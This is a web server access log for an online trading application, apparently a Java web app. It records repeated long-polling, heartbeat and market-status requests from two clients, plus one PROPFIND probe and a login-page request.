[09/Jan/2026:09:12:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921425458 HTTP/1.1" -
[09/Jan/2026:09:12:35 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921424301 HTTP/1.1" -
[09/Jan/2026:09:12:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921430519 HTTP/1.1" -
[09/Jan/2026:09:12:41 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921430301 HTTP/1.1" -
[09/Jan/2026:09:12:43 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:09:12:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921435714 HTTP/1.1" -
[09/Jan/2026:09:12:47 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921436302 HTTP/1.1" -
[09/Jan/2026:09:12:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921440849 HTTP/1.1" -
[09/Jan/2026:09:12:53 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921442311 HTTP/1.1" -
[09/Jan/2026:09:12:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921446089 HTTP/1.1" -
[09/Jan/2026:09:12:59 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921448297 HTTP/1.1" -
[09/Jan/2026:09:12:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921451225 HTTP/1.1" -
[09/Jan/2026:09:13:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:13:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:13:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:13:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:13:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921456380 HTTP/1.1" -
[09/Jan/2026:09:13:05 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921454309 HTTP/1.1" -
[09/Jan/2026:09:13:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921461465 HTTP/1.1" -
[09/Jan/2026:09:13:11 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921460307 HTTP/1.1" -
[09/Jan/2026:09:13:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:13:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:13:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:13:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:13:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921466531 HTTP/1.1" -
[09/Jan/2026:09:13:17 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921466297 HTTP/1.1" -
[09/Jan/2026:09:13:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921471688 HTTP/1.1" -
[09/Jan/2026:09:13:23 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921472307 HTTP/1.1" -
[09/Jan/2026:09:13:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921476883 HTTP/1.1" -
[09/Jan/2026:09:13:29 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921478308 HTTP/1.1" -
[09/Jan/2026:09:13:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921482092 HTTP/1.1" -
[09/Jan/2026:09:13:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:13:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:13:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:13:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:13:35 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921484312 HTTP/1.1" -
[09/Jan/2026:09:13:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921487292 HTTP/1.1" -
[09/Jan/2026:09:13:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921492347 HTTP/1.1" -
[09/Jan/2026:09:13:41 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921490310 HTTP/1.1" -
[09/Jan/2026:09:13:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921497586 HTTP/1.1" -
[09/Jan/2026:09:13:47 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921496308 HTTP/1.1" -
[09/Jan/2026:09:13:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921502724 HTTP/1.1" -
[09/Jan/2026:09:13:53 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921502302 HTTP/1.1" -
[09/Jan/2026:09:13:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921507892 HTTP/1.1" -
[09/Jan/2026:09:13:59 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921508297 HTTP/1.1" -
[09/Jan/2026:09:14:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921513013 HTTP/1.1" -
[09/Jan/2026:09:14:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:14:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:14:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:14:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:14:05 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921514310 HTTP/1.1" -
[09/Jan/2026:09:14:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921518158 HTTP/1.1" -
[09/Jan/2026:09:14:11 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921520307 HTTP/1.1" -
[09/Jan/2026:09:14:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921523255 HTTP/1.1" -
[09/Jan/2026:09:14:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:14:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:14:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:14:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:14:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921528421 HTTP/1.1" -
[09/Jan/2026:09:14:17 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921526299 HTTP/1.1" -
[09/Jan/2026:09:14:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921533602 HTTP/1.1" -
[09/Jan/2026:09:14:23 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921532298 HTTP/1.1" -
[09/Jan/2026:09:14:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921538730 HTTP/1.1" -
[09/Jan/2026:09:14:29 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921538300 HTTP/1.1" -
[09/Jan/2026:09:14:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921543882 HTTP/1.1" -
[09/Jan/2026:09:14:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:14:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:14:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:14:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:14:35 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921544299 HTTP/1.1" -
[09/Jan/2026:09:14:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921549011 HTTP/1.1" -
[09/Jan/2026:09:14:41 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921550298 HTTP/1.1" -
[09/Jan/2026:09:14:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921554070 HTTP/1.1" -
[09/Jan/2026:09:14:47 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921556297 HTTP/1.1" -
[09/Jan/2026:09:14:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921559208 HTTP/1.1" -
[09/Jan/2026:09:14:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921564364 HTTP/1.1" -
[09/Jan/2026:09:14:53 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921562302 HTTP/1.1" -
[09/Jan/2026:09:14:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921569503 HTTP/1.1" -
[09/Jan/2026:09:14:59 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921568307 HTTP/1.1" -
[09/Jan/2026:09:15:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:15:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:15:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:15:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:15:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921574680 HTTP/1.1" -
[09/Jan/2026:09:15:05 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921574301 HTTP/1.1" -
[09/Jan/2026:09:15:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921579716 HTTP/1.1" -
[09/Jan/2026:09:15:11 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767921580308 HTTP/1.1" -
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 15
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:15:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
